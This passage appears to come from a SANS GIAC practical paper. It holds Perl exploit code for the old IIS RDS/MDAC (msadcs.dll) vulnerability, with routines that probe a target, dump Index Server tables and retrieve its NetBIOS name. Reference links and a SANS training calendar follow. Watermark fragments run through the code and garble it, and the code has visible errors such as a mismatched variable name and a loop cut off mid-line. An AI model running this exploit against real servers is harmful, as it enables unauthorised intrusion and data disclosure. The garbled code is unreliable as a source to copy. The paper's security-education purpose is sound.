}; # ------------------------------------------------------------------------- sub dump_index_server_tables { print "\nAttempting to dump Index Server tables...\n"; s. print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ht # Just as in the try_btcustmr routine, we create an RDS request rig my $request_to_issue = create_rds_request("dump_index","",""); ull # Just as in the try_btcustmr routine, we calculate the length of the POST $rds_request_length = length( $request_to_issue ) - 28; f $content_length = 206 + length("$rds_request_length") + $rds_request_length; # Just as in the try_btcustmr routine, we prepend good HTML headers to the request ns my $http_request = make_http_wrapper() . $request_to_issue; Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai my @results = send_data_to_target($http_request); re if (check_for_success(@results)) { # If it succeeded, we reformat into a more human-friendly format my $max = @results; or my $c; th my %d; for ($c=19; $c
sub handle_unusual_results { # This merely prints some additional info for a few # potentially confusing errors my (@in) =@_; my $error = odbc_error(@in); s. if ($error =~/ADO could not find the specified provider/) { ht print "\nServer returned an ADO miscofiguration message\nAborting.\n"; exit; rig } if ($error =~ /A Handler is required/) { ull print "\nServer has custom handler filters (they most likely are patched)\n"; exit; f } if ($error =~ /specified Handler has denied Access/) { ns print "\nADO handlers denied access (they most likely are patched)\n"; Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai exit; } re if ($error =~ /server has denied access/) { print "\nADO handlers denied access (they most likely are patched)\n"; exit; or } th } Au # ------------------------------------------------------------------------- sub check_for_possible_vulnerability { 2, # This routine makes a preliminary connection to determine # if the target is in fact running IIS and RDS 00 -2 my @results = send_data_to_target("GET /msdac/msdacs.dll HTTP/1.0\n\n"); my $base = content_start(@results); if ($results[$base] =~ /Content-Type: application\/x-varg/) { 00 return $SUCCESS; }; 20 # No, they aren't. te my @si = grep("Server: ",@results); if ($s[0]!~/IIS/) { tu print "Doh! They're not running IIS.\n$s[0]\n" sti } else { In print "/msdac/msdacs.dll was not found.\n"; } return $FAILURE; NS } SA # ------------------------------------------------------------------------- sub show_netbios_name { © # Not really a part of the rest of the exploit, this merely uses # the same technique of creating RDS requests to get the machine to # return its netbios name my $msdac=
Content-Type: multipart/mixed; boundary=!ARBITRARY!TEXT!STRING!; num-args=0 --!ARBITRARY!TEXT!STRING!-- EOT ; $msdac =~ s/\n/\r\n/g; print "Trying to get machine name"; s. my @results = send_data_to_target($msdac); ht my $base = content_start(@results); $results[$base+6] =~ s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~.,?]//g; rig $machine_name = $results[$base+6]; if ($machine_name eq "") { ull print "Failed to get machine name\n"; } f else { print "Machine name: $machine_name\n"; ns }; Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai }; re # ------------------------------------------------------------------------- # ------------------------------------------------------------------------- or th Additional Information Au In addition to the code sites, discussions, and official Microsoft advisories above, the 2, following links provide additional information: 00 Internet Security Systems Discussion: -2 http://xforce.iss.net/alerts/advise32.php 00 Bugtraq post: 20 http://archives.neohapsis.com/archives/bugtraq/1999-q3/0183.html te Microsoft RDS page: tu http://www.microsoft.com/data/ado/rds/ sti Microsoft IIS Security Checklist: In http://www.microsoft.com/security/products/iis/CheckList.asp NS SA © Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
Last Updated: December 11th, 2020 Upcoming Training SANS Cyber Defense Initiative 2020 , Dec 14, 2020 - Dec 19, 2020 CyberCon OnDemand Home (Full) Recording Riverside, RI Jan 04, 2021 - Jan 09, 2021 SANS Security East 2021 , Jan 11, 2021 - Jan 16, 2021 CyberCon SANS Security Fundamentals 2021 , Netherlands Jan 18, 2021 - Jan 29, 2021 CyberCon Cyber Threat Intelligence Summit & Training 2021 Virtual - US Eastern, Jan 21, 2021 - Feb 01, 2021 CyberCon SANS Amsterdam January 2021 , Netherlands Jan 25, 2021 - Jan 30, 2021 CyberCon SANS Cyber Security West: Feb 2021 , Feb 01, 2021 - Feb 06, 2021 CyberCon SANS South by Southeast Asia 2021 , Singapore Feb 01, 2021 - Feb 06, 2021 CyberCon SANS Pen Test & Offensive Training 2021 , Feb 08, 2021 - Feb 13, 2021 CyberCon SANS London February 2021 , United Kingdom Feb 22, 2021 - Feb 27, 2021 CyberCon SANS Cyber Security East: Feb 2021 , Feb 22, 2021 - Feb 27, 2021 CyberCon SANS Cyber Security East: March 2021 , Mar 01, 2021 - Mar 06, 2021 CyberCon SANS Secure Japan 2021 , Japan Mar 01, 2021 - Mar 13, 2021 CyberCon SANS Secure Asia Pacific 2021 , Singapore Mar 08, 2021 - Mar 20, 2021 CyberCon SANS Secure Asia Pacific 2021 Singapore, Singapore Mar 08, 2021 - Mar 20, 2021 Live Event SANS Cyber Security West: March 2021 , Mar 15, 2021 - Mar 20, 2021 CyberCon SANS Riyadh March 2021 , Kingdom Of Saudi Mar 20, 2021 - Apr 01, 2021 CyberCon Arabia SANS Secure Australia 2021 Live Online , Australia Mar 22, 2021 - Mar 27, 2021 CyberCon SANS 2021 , Mar 22, 2021 - Mar 27, 2021 CyberCon SANS Secure Australia 2021 Canberra, Australia Mar 22, 2021 - Mar 27, 2021 Live Event SANS Cyber Security Mountain: April 2021 , Apr 05, 2021 - Apr 10, 2021 CyberCon SANS London April 2021 , United Kingdom Apr 12, 2021 - Apr 17, 2021 CyberCon SANS Autumn Australia 2021 - Live Online , Australia Apr 12, 2021 - Apr 17, 2021 CyberCon SANS Autumn Australia 2021 Sydney, Australia Apr 12, 2021 - Apr 17, 2021 Live Event SANS Pen Test Austin: Virtual Edition 2021 , Apr 19, 2021 - Apr 24, 2021 CyberCon SANS Secure India 2021 , Singapore Apr 19, 2021 - Apr 24, 2021 CyberCon SANS Baltimore Spring: Virtual Edition 2021 , Apr 26, 2021 - May 01, 2021 CyberCon SANS Cyber Security Central: May 2021 , May 03, 2021 - May 08, 2021 CyberCon SANS Security West 2021 , May 10, 2021 - May 15, 2021 CyberCon SANS Amsterdam May 2021 , Netherlands May 17, 2021 - May 22, 2021 CyberCon SANS Stockholm May 2021 , Sweden May 31, 2021 - Jun 05, 2021 CyberCon
You can also read